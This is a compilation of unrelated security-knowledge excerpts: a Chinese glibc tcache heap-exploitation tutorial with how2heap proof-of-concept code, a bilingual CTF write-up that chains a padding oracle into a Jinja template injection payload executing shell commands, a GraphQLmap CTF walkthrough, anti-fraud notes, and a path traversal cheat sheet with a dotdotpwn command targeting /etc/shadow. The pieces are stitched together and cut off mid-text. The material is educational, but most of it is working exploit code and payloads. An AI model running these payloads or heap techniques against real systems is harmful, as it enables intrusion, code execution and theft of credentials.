fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsigned long long *a; //pointer that will be overwritten unsigned long long fake_chunks[10]; //fake chunk region fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); } ``` 攻击之后的目的是,去控制栈上的内容,malloc 一块 chunk ,然后我们通过在栈上 fake 的chunk,然后去 free 掉他,我们会发现 ```bash gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x4052e0 (size : 0x20d20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7]: 0x7fffffffe510 --> 0x401340 ``` Tcache 里就存放了一块 栈上的内容,我们之后只需 malloc,就可以控制这块内存。 ### The introduction of Pwn smallbin unlink 在smallbin中包含有空闲块的时候,会同时将同大小的其他空闲块,放入tcache中,此时也会出现解链操作,但相比于unlink宏,缺少了链完整性校验。因此,原本unlink操作在该条件下也可以使用。 ### The introduction of Pwn tcache stashing unlink attack 这种攻击利用的是 tcache bin 有剩余(数量小于 `TCACHE_MAX_BINS` )时,同大小的small bin会放进tcache中(这种情况可以用 `calloc` 分配同大小堆块触发,因为 `calloc` 分配堆块时不从 tcache bin 中选取)。在获取到一个 `smallbin` 中的一个chunk后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个small bin的bk指针时,其可以在任意地址上写一个libc地址(类似 `unsorted bin attack` 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。 这里以 `how2heap` 中的 `tcache_stashing_unlink_attack.c` 为例。 我们按照释放的先后顺序称 `smallbin[sz]` 中的两个 chunk 分别为 chunk0 和 chunk1。我们修改 chunk1 的 `bk` 为 `fake_chunk_addr`。同时还要在 `fake_chunk_addr->bk` 处提前写一个可写地址 `writable_addr` 。调用 `calloc(size-0x10)` 的时候会返回给用户 chunk0 (这是因为 smallbin 的 `FIFO` 分配机制),假设 `tcache[sz]` 中有 5 个空闲堆块,则有足够的位置容纳 `chunk1` 以及 `fake_chunk` 。在源码的检查中,只对第一个 chunk 的链表完整性做了检测 `__glibc_unlikely (bck->fd != victim)` ,后续堆块在放入过程中并没有检测。 因为tcache的分配机制是 `LIFO` ,所以位于 `fake_chunk->bk` 指针处的 `fake_chunk` 在链入 tcache 的时候反而会放到链表表头。在下一次调用 `malloc(sz-0x10)` 时会返回 `fake_chunk+0x10` 给用户,同时,由于 `bin->bk = bck;bck->fd = bin;` 的unlink操作,会使得 `writable_addr+0x10` 处被写入一个 libc 地址。 ```c #include <stdio.h> #include <stdlib.h> int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n"); fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n"); fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsigned long)(&stack_var[2]); fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 tcache fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);//>0x90 //now 5 tcache bins fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); malloc(0x90); malloc(0x90); fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); calloc(1,0x90); fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); return 0; } ``` 这个 poc 用栈上的一个数组上模拟 `fake_chunk` 。首先构造出5个 `tcache chunk` 和2个 `smallbin chunk` 的情况。模拟 `UAF` 漏洞修改 `bin2->bk` 为 `fake_chunk` ,在 `calloc(0x90)` 的时候触发攻击。 我们在 `calloc` 处下断点,调用前查看堆块排布情况。此时 `tcache[0xa0]` 中有 5 个空闲块。可以看到 chunk1->bk 已经被改为了 `fake_chunk_addr` 。而 `fake_chunk->bk` 也写上了一个可写地址。由于 `smallbin` 是按照 `bk` 指针寻块的,分配得到的顺序应当是 `0x0000000000603250->0x0000000000603390->0x00007fffffffdbc0 (FIFO)` 。调用 calloc 会返回给用户 `0x0000000000603250+0x10`。 ```bash gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6038a0 (size : 0x20760) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x0 and 0x603390 is broken) (0xa0) tcache_entry[8](5): 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440 gdb-peda$ x/4gx 0x603390 0x603390: 0x0000000000000000 0x00000000000000a1 0x6033a0: 0x0000000000603250 0x00007fffffffdbc0 gdb-peda$ x/4gx 0x00007fffffffdbc0 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbd0 gdb-peda$ x/4gx 0x0000000000603250 0x603250: 0x0000000000000000 0x00000000000000a1 0x603260: 0x00007ffff7dcfd30 0x0000000000603390 gdb-peda$ x/4gx 0x00007ffff7dcfd30 0x7ffff7dcfd30 <main_arena+240>: 0x00007ffff7dcfd20 0x00007ffff7dcfd20 0x7ffff7dcfd40 <main_arena+256>: 0x0000000000603390 0x0000000000603250 ``` 调用 calloc 后再查看堆块排布情况,可以看到 `fake_chunk` 已经被链入 `tcache_entry[8]` ,且因为分配顺序变成了 `LIFO` , `0x7fffffffdbd0-0x10` 这个块被提到了链表头,下次 `malloc(0x90)` 即可获得这个块。 其 fd 指向下一个空闲块,在 unlink 过程中 `bck->fd=bin` 的赋值操作使得 `0x00007fffffffdbd0+0x10` 处写入了一个 libc 地址。 ```bash gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6038a0 (size : 0x20760) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x0a0) smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x6033a0 and 0x603390 is broken) (0xa0) tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440 gdb-peda$ x/4gx 0x7fffffffdbd0 0x7fffffffdbd0: 0x00000000006033a0 0x00007fffffffdbd0 0x7fffffffdbe0: 0x00007ffff7dcfd30 0x0000000000000000 ``` ### The introduction of Pwn libc leak 在以前的libc 版本中,我们只需这样: ```c #include <stdlib.h> #include <stdio.h> int main() { long *a = malloc(0x1000); malloc(0x10); free(a); printf("%p\n",a[0]); } ``` 但是在2.26 之后的 libc 版本后,我们首先得先把tcache 填满: ```c #include <stdlib.h> #include <stdio.h> int main(int argc , char* argv[]) { long* t[7]; long *a=malloc(0x100); long *b=malloc(0x10); // make tcache bin full for(int i=0;i<7;i++) t[i]=malloc(0x100); for(int i=0;i<7;i++) free(t[i]); free(a); // a is put in an unsorted bin because the tcache bin of this size is full printf("%p\n",a[0]); } ``` 之后,我们就可以 leak libc 了。 ```bash gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x555555559af0 (size : 0x20510) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559250 (size : 0x110) (0x110) tcache_entry[15]: 0x5555555599f0 --> 0x5555555598e0 --> 0x5555555597d0 --> 0x5555555596c0 --> 0x5555555595b0 --> 0x5555555594a0 --> 0x555555559390 gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x250 Used None None 0x555555559250 0x0 0x110 Freed 0x7ffff7fc0ca0 0x7ffff7fc0ca0 0x555555559360 0x110 0x20 Used None None 0x555555559380 0x0 0x110 Used None None 0x555555559490 0x0 0x110 Used None None 0x5555555595a0 0x0 0x110 Used None None 0x5555555596b0 0x0 0x110 Used None None ``` ### The introduction of Tcache Check 在最新的 libc 的[commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=f730d7a2ee496d365bf3546298b9d19b8bddc0d0;hp=6d7a6a8cabb4edbf00881cb7503473a8ed4ec0b7;hb=bcdaad21d4635931d1bd3b54a7894276925d081d;hpb=5770c0ad1e0c784e817464ca2cf9436a58c9beb7) 中更新了 Tcache 的 double free 的check: ```c index 6d7a6a8..f730d7a 100644 (file) --- a/malloc/malloc.c +++ b/malloc/malloc.c @@ -2967,6 +2967,8 @@ mremap_chunk (mchunkptr p, size_t new_size) typedef struct tcache_entry { struct tcache_entry *next; + /* This field exists to detect double frees. */ + struct tcache_perthread_struct *key; } tcache_entry; /* There is one of these for each thread, which contains the @@ -2990,6 +2992,11 @@ tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); + + /* Mark this chunk as "in the tcache" so the test in _int_free will + detect a double free. */ + e->key = tcache; + e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); @@ -3005,6 +3012,7 @@ tcache_get (size_t tc_idx) assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); + e->key = NULL; return (void *) e; } @@ -4218,6 +4226,26 @@ _int_free (mstate av, mchunkptr p, int have_lock) { size_t tc_idx = csize2tidx (size); + /* Check to see if it's already in the tcache. */ + tcache_entry *e = (tcache_entry *) chunk2mem (p); + + /* This test succeeds on double free. However, we don't 100% + trust it (it also matches random payload data at a 1 in + 2^<size_t> chance), so verify it's not an unlikely coincidence + before aborting. */ + if (__glibc_unlikely (e->key == tcache && tcache)) + { + tcache_entry *tmp; + LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); + for (tmp = tcache->entries[tc_idx]; + tmp; + tmp = tmp->next) + if (tmp == e) + malloc_printerr ("free(): double free detected in tcache 2"); + /* If we get here, it was a coincidence. We've wasted a few + cycles, but don't abort. */ + } + if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) ``` 目前为止,只看到了在 free 操作的时候的 check ,似乎没有对 get 进行新的check。
sec-knowleage
# Mark is falling down drunk (crypto/web) ## ENG [PL](#pl-version) In the task we get a link for a webpage where someone deployed an application for parsing markdown. There are a couple of example links. We notice that the URL is always the same, but the contains a long hex-string, which probably points to the actual page displayed. If we modify the hex-string the page crashes or gives us `incorrect url` message. This seems like a standard setup for padding oracle attack. We assume that the hex-string is actually AES CBC encrypted data. The first 16 bytes seems to indicate this even more because they are always `deadbeefcafedeadbeefcafe04030201` which seems like a nice IV. So we run our padding oracle attack. For more in depth description of the attack refer to our previous writeups on this. In short we exploit the fact that by manipulating value of previous ciphertext block we can influence the plaintext value or corresponding byte in the next block, directly from the CBC definition. And if we accidentally set the last byte to `\01` then the decryption will not fail, since this is a proper padding. We can then recover the real value of this last byte because we know that `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` is now `\01` and we know the value of `ciphertext[k-1][n]`. We can then proceed to setting last 2 bytes to `\02\02` and so on to recover everything. Using our code from crypto commons with: ```python import requests from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65' print(oracle_padding_recovery(data, oracle)) # https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md ``` And we do the same for all the links. There is a problem there, because for some reason we can't recover the first block. The server was crashing when there was only one plaintext block. But this was not really an issue, since the links were quite obvious and we could just guess the missing bytes. The most interesting link was the one for their own example, which contained something like ``` {{ config['page'] }} ``` In the content, but when viewed with their Markdown parser it was presenting an actual link. This meant that we could evaluate templates if we can get a ciphertext for our own webpage. This was a bit of an issue, since standard approach would be to change the IV so that first block of the plaintext decrypts to `http://our.page\01` and sending just the IV and this one block. Just as a reminder, we can do this since decryption of 1st block for CBC is `IV xor decrypt(ciphertext[0])`, and since we know the IV and we know the value of `decrypt(ciphertext[0])` we can simply set selected IV byte to: `newIV[k] = IV[k] xor plaintext[k] xor expected_value` And the decryption will give us `expected_value` at `k-th` position. In our scenario this would not work, because the single block payloads were failing (maybe admins fixed this later?). Anyway, we figured that we can also instead set the first block to: `http://our.page?` and leave the other blocks, because now the rest of some other URL will be treated as GET parameters and the link will work fine. This way we got an example payload: ```python data = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex") old_iv = list(data[:16]) target_payload = list(pad("https://p4.team?")) pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16] new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)]) payload = (new_iv + data[16:]).encode("hex") print(payload) ``` And by passing this payload we can now load our markdown code on the server. Now we move to the template injection exploit. We use a classic approach to do `''.__class__.__mro__[1].__subclasses__()` to get list of all subclasses of `object` loaded in python. There was a small problem, because the `__something__` was actually interpreted as markdown and replaced by `<strong>something</strong>` so we had to put the payload in backticks to avoid this. Once we got a list of all classes we found the `catch_warnings` which we could exploit: ``` {% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == 'catch_warnings' %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference['__import__']('subprocess') %} {{ os.check_output('cat app/flag', shell=True) }} {% endif %} {% endfor %} ``` and get the flag `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}` ## PL version W zadaniu dostajemy link do strony gdzie ktoś udostępnił swoją aplikacje do parsowania markdown. Jest tam kilka przykładowych linków. Zauważamy, że URL jest zawsze taki sam, ale zawiera długi hex-string, który najpewniej opisuje własciwą stronę. Jeśli zmienimy ten hex-string to strona się wysypuje lub dostajemy `incorrect url`. To wygląda jak standardowy setup dla ataku padding oracle. Zakładamy tu, że hex-string to w rzeczywistości szyfrogram AES CBC. Pierwsze 16 bajtów mocno to sugeruje bo to zawsze `deadbeefcafedeadbeefcafe04030201` co wygląda na jakieś IV. Uruchamiamy więc nasz padding oracle. Dla bardziej szczegółowego opisu tego ataku odsyłamy do naszych poprzednich writeupów na ten temat. W skrócie wykorzystujemy tu fakt, że manipulując wartością poprzedniego bloku szyfrogramu możemy wpłynąć na deszyfrowanie odpowiedniego bajtu następnego bloku, bezpośrednio z definicji CBC. Jeśli przypadkowo zmienimy ostatni bajt na `\01` to deszyfrowanie nie zgłosi błędu, bo padding będzie poprawny. Możemy wtedy odkryć prawdziwą wartość tego ostatniego bajtu, bo wiemy, że `ciphertext[k-1][n] xor decrypt(ciphertext[k][n])` wynosi teraz `\01` a znamy wartość `ciphertext[k-1][n]`. Następnie możemy powtórzyć to samo, ale tym razem ustawiając dwa ostatnie bloki na `\02\02` itd aż odzyskamy całą odszyfrowaną wiadomość. Z użyciem naszego kodu z crypto commons: ```python import requests from crypto_commons.symmetrical.symmetrical import oracle_padding_recovery data = 'deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65' print(oracle_padding_recovery(data, oracle)) # https://gitlab.com/gitlab-org/gitlab-ce/raw/master/README.md ``` I postępujemy tak samo dla wszystkich linków. Jest tam pewien problem, ponieważ nie możemy odzyskać 1 bloku. Serwer wysypuje się jeśli jest tylko 1 blok szyfrogramu. To na szczęście nie stanowiło wielkiego problemu, bo linki były dość oczywiste i mogliśmy zgadnąć brakujace bajty. Najbardziej interesujący był link do przykładu od autorów zadania, który zawierał coś w stylu: ``` {{ config['page'] }} ``` W treści, podczas gdy na stronie po sparsowaniu Markdown widniał faktyczny link. To oznacza że można ewaluować szablony, jeśli tylko możemy przekazać tam własną stronę. To stanowiło jednak początkowo problem, bo standardowe podejście to ustawić IV tak, zeby pierwszy blok odszyfrowanego tekstu deszyfrował się do `http://our.page\01` i wysłanie tylko nowego IV i tego jednego bloku. Dla przypomnienia, możemy tak zrobić, bo deszyfrowanie 1 bloku to `IV xor decrypt(ciphertext[0])` a skoro znamy IV i wiemy jaka jest wartość `decrypt(ciphertext[0])` to możemy ustawić wybrany bajt IV do: `newIV[k] = IV[k] xor plaintext[k] xor expected_value` A deszyfrowanie da nam `expected_value` na `k-tej` pozycji. W naszym przypadku to nie mogło zadziałać, bo jeden blok szyfrogramu powodował błąd serwera (admini to później poprawili?). Tak czy siak, wymyśliliśmy jak ten problem obejść, przez ustawienie pierwszego bloku na `http://our.page?` i pozostawienie pozostałych bloków, ponieważ teraz ten pozostały fragment starego URLa będzie potraktowany jako parametry GET a nasz link zadziała poprawnie. W ten sposób dostajemy szyfrogram: ```python data = 'deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02'.decode("hex") old_iv = list(data[:16]) target_payload = list(pad("https://p4.team?")) pt = "https://raw.githubusercontent.com/dlitz/pycrypto/master/README\02\02"[:16] new_iv = "".join([chr(ord(old_iv[i]) ^ ord(pt[i]) ^ ord(target_payload[i])) for i in range(16)]) payload = (new_iv + data[16:]).encode("hex") print(payload) ``` I przekazując do go strony możemy teraz ewaluować nasz własny kod mardown na serwerze. Teraz przechodzimy do template injection. Stosujemy tu dość standardowy zabieg `''.__class__.__mro__[1].__subclasses__()` aby pobrać listę podklas `object` załadowanych w pythonie. Tutaj mieliśmy przez chwilę problem bo `__cośtam__` było procesowane przez markdown i zamieniane na `<strong>cośtam</strong>` więc musieliśmy kod objąć w backticki. Mając listę klas znaleźliśmy `catch_warnings` które można było wykorzystać: ``` {% set loadedClasses = ''.__class__.__mro__[1].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == 'catch_warnings' %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference['__import__']('subprocess') %} {{ os.check_output('cat app/flag', shell=True) }} {% endif %} {% endfor %} ``` aby dostać flagę: `NDH{edfba7f05f2d0a30f54b0820105cdab21f59b60a7d72f5c7b38c23db840d6cab}`
sec-knowleage
# Find my intro Category: Web, 100 points ## Description > challenge 1 in Imperva's GQLDating series > > Hi there! I just joined a new dating site called GQL-Dating and I'm so excited :) I hope to find my life partner.. But first, can you please help me inject the schema? ## Solution The attached website is an online dating website which allows registering and searching for other users. While searching for a user, we can see the following request being sent from the site: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Find_my_intro] └─$ curl 'http://ec2-3-239-182-16.compute-1.amazonaws.com:1234/gql/graphql' -X POST -H 'Content-Type: application/json' --data-raw '{"operationName":null,"variables":{},"query":"query { getPersonByName(name:\"test\"){ persons{ id name gender link} } }"}' {"data":{"getPersonByName":{"persons":[]}}} ``` This is a [GraphQL](https://en.wikipedia.org/wiki/GraphQL) query. Let's see how we can use it to leak data from the DB. We'll use [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) to interact with the GraphQL endpoint. First, let's dump the schema: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Find_my_intro] └─$ python3 ~/utils/web/GraphQLmap/graphqlmap.py -u http://ec2-3-239-182-16.compute-1.amazonaws.com:1234/gql/graphql?query={} -v --method POST --json _____ _ ____ _ / ____| | | / __ \| | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ | | | | |_| |_| Author: @pentest_swissky Version: 1.0 GraphQLmap > dump_new ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!) User name[]: email[]: rate[]: Flag hint[]: key[]: FlagResult success[Boolean]: errors[String]: flag[]: Person id[ID]: nickname[]: name[]: last_name[]: joined_at[]: city[]: interest_in[]: gender[]: personal_info[]: link[]: PersonRate id[ID]: nickname[]: name[]: last_name[]: rate[]: PersonResult success[Boolean]: errors[String]: person[]: PersonsResult success[Boolean]: errors[String]: persons[Person]: PersonRateResult success[Boolean]: errors[String]: person_rate[]: UserResult success[Boolean]: errors[String]: user[]: Post id[ID]: title[String]: description[String]: created_at[String]: PostResult success[Boolean]: errors[String]: post[]: PostsResult success[Boolean]: errors[String]: posts[Post]: Query getFlag[FlagResult]: listPosts[PostsResult]: getPost[PostResult]: id (ID!), listPersons[PersonsResult]: getPerson[PersonResult]: id (ID!), getPersonByName[PersonsResult]: name (!), getPersonByNickName[PersonResult]: nickname (!), getPersonRate[PersonRateResult]: id (ID!), getUser[UserResult]: email (String!), Mutation createPost[PostResult]: title (String!), description (String!), created_at (!), updatePost[PostResult]: id (ID!), title (!), description (!), deletePost[PostResult]: id (!), updatePersonRate[PersonRateResult]: id (ID!), rate (Int!), updateUserRate[UserResult]: email (String!), rate (Int!), __Schema __Type __Field __InputValue __EnumValue __Directive GraphQLmap > ``` This gives us a nice overview of the methods and objects. We can see that there's a method (Query) called `getFlag`, which returns a `FlagResult` containing a `flag` with a `hint` and a `key`. Let's get it: ```console GraphQLmap > { getFlag { flag {hint key}}} { getFlag { flag {hint key}}} { "data": { "getFlag": { "flag": { "hint": "I really like the nickname liron", "key": "cstechnion{b00m!_600d_574r7_}" } } } } ```
sec-knowleage
# 场景下的风险分析 此篇主要对**不同业务场景**下的风险分析方法进行整理。 ## 1. “垃圾注册”风险识别[1] ### 1.1 手法分析 黑产注册小号常见的套路是[1]: - 使用接码平台提供的**虚拟号码** - 使用模拟器、群控设备、云手机等模拟**设备环境** - 通过**脚本调用**进行批量注册 ### 1.2 思路 #### 从数据名单出发 - 手机号画像:主要依赖于黑名单库的形式 - IP画像:识别风控模型中识别为**垃圾注册IP、代理IP与机房IP**的相关IP #### 从设备端出发 - 识别**设备指纹**的风险 - 模拟器 - 安装了的作弊工具设备 - 参数异常设备 - 参数篡改设备 - 疑似刷机设备 #### 从行为上出发 - 识别异常行为 - 通过对平台的历史指标计算得到**频繁注册的设备、IP或手机号**等 ## 2. ”薅羊毛“风险识别 ### 2.1 手法分析 //TODO ### 2.2 思路 #### 从统计、规则上来讲 - 手机号黑名单 - IP画像 - 设备指纹的风险分析 - 频率纬度的统计 #### 从行为上来讲 - 活动范围小,缺少其他平台的活跃动作 - 具有群体的黑产团伙特征 - 具有群体的历史注册、登陆的黑产团伙特征 #### 真实世界的信息 - 地址 - 具有虚拟相似收获地址 - 与区域快递合作,有暗号 - 地址中包含真实场景下的收货号码 ## Refernces \[1] 《风控要略——互联网反欺诈之路》,马传雷、孙奇、高岳
sec-knowleage
### 迷宫问题概述 迷宫问题有以下特点: * 在内存中布置一张"地图" * 将用户输入限制在少数几个字符范围内. * 一般只有一个迷宫入口和一个迷宫出口 布置的地图可以由可显字符(比如`#`和`*`)组合而成(这非常明显, 查看字符串基本就知道这是个迷宫题了.), 也可以单纯用不可显的十六进制值进行表示. 可以将地图直接组成一条非常长的字符串, 或是一行一行分开布置. 如果是一行一行分开布置的话, 因为迷宫一般都会比较大, 所以用于按行(注意, 布置并非按顺序布置, 每行都对应一个具体的行号, 你需要确定行号才能还原迷宫地图)布置迷宫的函数会明显重复多次. 而被限制的字符通常会是一些方便记忆的组合(不是也没办法), 比如`w/s/a/d`, `h/j/k/l`, `l/r/u/d`这样的类似组合. 当然各个键具体的操作需要经过分析判断(像那种只用一条字符串表示迷宫的, 就可以用`t`键表示向右移动`12`个字符这样). 对于二维的地图, 一般作者都会设置一个`X坐标`和一个`Y坐标`用于保存当前位置. 我们也可以根据这个特点来入手分析. 一般情况下, 迷宫是只有1个入口和1个出口, 像入口在最左上角`(0, 0)`位置, 而出口在最右下角`(max_X, max_Y)`处. 但也有可能是出口在迷宫的正中心, 用一个`Y`字符表示等等. 解答迷宫题的条件也是需要根据具体情况判断的. 当然迷宫的走法可能不止1条, 也有情况是有多条走法, 但是要求某一个走法比如说代价最小. 那么这就可以变相为一个算法问题.
sec-knowleage
# Directory Traversal > A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. ## Summary * [Tools](#tools) * [Basic exploitation](#basic-exploitation) * [16 bits Unicode encoding](#16-bits-unicode-encoding) * [UTF-8 Unicode encoding](#utf-8-unicode-encoding) * [Bypass "../" replaced by ""](#bypass--replaced-by-) * [Bypass "../" with ";"](#bypass--with-) * [Double URL encoding](#double-url-encoding) * [UNC Bypass](#unc-bypass) * [NGINX/ALB Bypass](#nginxalb-bypass) * [Path Traversal](#path-traversal) * [Interesting Linux files](#interesting-linux-files) * [Interesting Windows files](#interesting-windows-files) * [References](#references) ## Tools - [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) ```powershell git clone https://github.com/wireghoul/dotdotpwn perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b ``` ## Basic exploitation We can use the `..` characters to access the parent directory, the following strings are 